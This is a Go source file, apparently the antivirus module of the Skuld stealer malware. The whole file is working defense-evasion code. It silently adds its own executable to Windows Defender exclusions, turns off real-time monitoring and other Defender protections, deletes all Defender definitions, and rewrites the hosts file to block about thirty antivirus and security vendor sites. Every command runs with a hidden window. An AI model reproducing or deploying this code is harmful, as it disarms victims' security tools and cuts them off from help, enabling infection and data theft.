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antivirus.go
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antivirus.go
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package antivirus
import (
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"syscall"
"strings"
"github.com/hackirby/skuld/utils/program"
)
func Run() {
sites := []string{
"virustotal.com",
"avast.com",
"totalav.com",
"scanguard.com",
"totaladblock.com",
"pcprotect.com",
"mcafee.com",
"bitdefender.com",
"us.norton.com",
"avg.com",
"malwarebytes.com",
"pandasecurity.com",
"avira.com",
"norton.com",
"eset.com",
"zillya.com",
"kaspersky.com",
"usa.kaspersky.com",
"sophos.com",
"home.sophos.com",
"adaware.com",
"bullguard.com",
"clamav.net",
"drweb.com",
"emsisoft.com",
"f-secure.com",
"zonealarm.com",
"trendmicro.com",
"ccleaner.com",
}
ExcludeFromDefender()
DisableDefender()
BlockSites(sites)
}
func ExcludeFromDefender() error {
if !program.IsElevated() {
return errors.New("not elevated")
}
path, err := os.Executable()
if err != nil {
return err
}
cmd := exec.Command("powershell", "-Command", "Add-MpPreference", "-ExclusionPath", path)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd.Run()
}
func DisableDefender() error {
if !program.IsElevated() {
return errors.New("not elevated")
}
cmd := exec.Command("powershell", "Set-MpPreference", "-DisableIntrusionPreventionSystem", "$true", "-DisableIOAVProtection", "$true", "-DisableRealtimeMonitoring", "$true", "-DisableScriptScanning", "$true", "-EnableControlledFolderAccess", "Disabled", "-EnableNetworkProtection", "AuditMode", "-Force", "-MAPSReporting", "Disabled", "-SubmitSamplesConsent", "NeverSend")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_, err := cmd.Output()
if err != nil {
return err
}
cmd = exec.Command("powershell", "Set-MpPreference", "-SubmitSamplesConsent", "2")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
_, err = cmd.Output()
if err != nil {
return err
}
cmd = exec.Command("cmd", "/c", fmt.Sprintf("%s\\Windows Defender\\MpCmdRun.exe", os.Getenv("ProgramFiles")), "-RemoveDefinitions", "-All")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd.Run()
}
func BlockSites(sites []string) error {
if !program.IsElevated() {
return errors.New("not elevated")
}
hostFilePath := filepath.Join(os.Getenv("systemroot"), "System32\\drivers\\etc\\hosts")
data, err := os.ReadFile(hostFilePath)
if err != nil {
return err
}
var newData []string
for _, line := range strings.Split(string(data), "\n") {
for _, bannedSite := range sites {
if strings.Contains(line, bannedSite) {
continue
}
}
newData = append(newData, line)
}
for _, bannedSite := range sites {
newData = append(newData, "0.0.0.0 "+bannedSite)
newData = append(newData, "0.0.0.0 www."+bannedSite)
}
d := strings.Join(newData, "\n")
d = strings.ReplaceAll(d, "\n\n", "\n")
cmd := exec.Command("attrib", "-r", hostFilePath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err = cmd.Run(); err != nil {
return err
}
if err = os.WriteFile(hostFilePath, []byte(d), 0644); err != nil {
return err
}
cmd = exec.Command("attrib", "+r", hostFilePath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd.Run()
}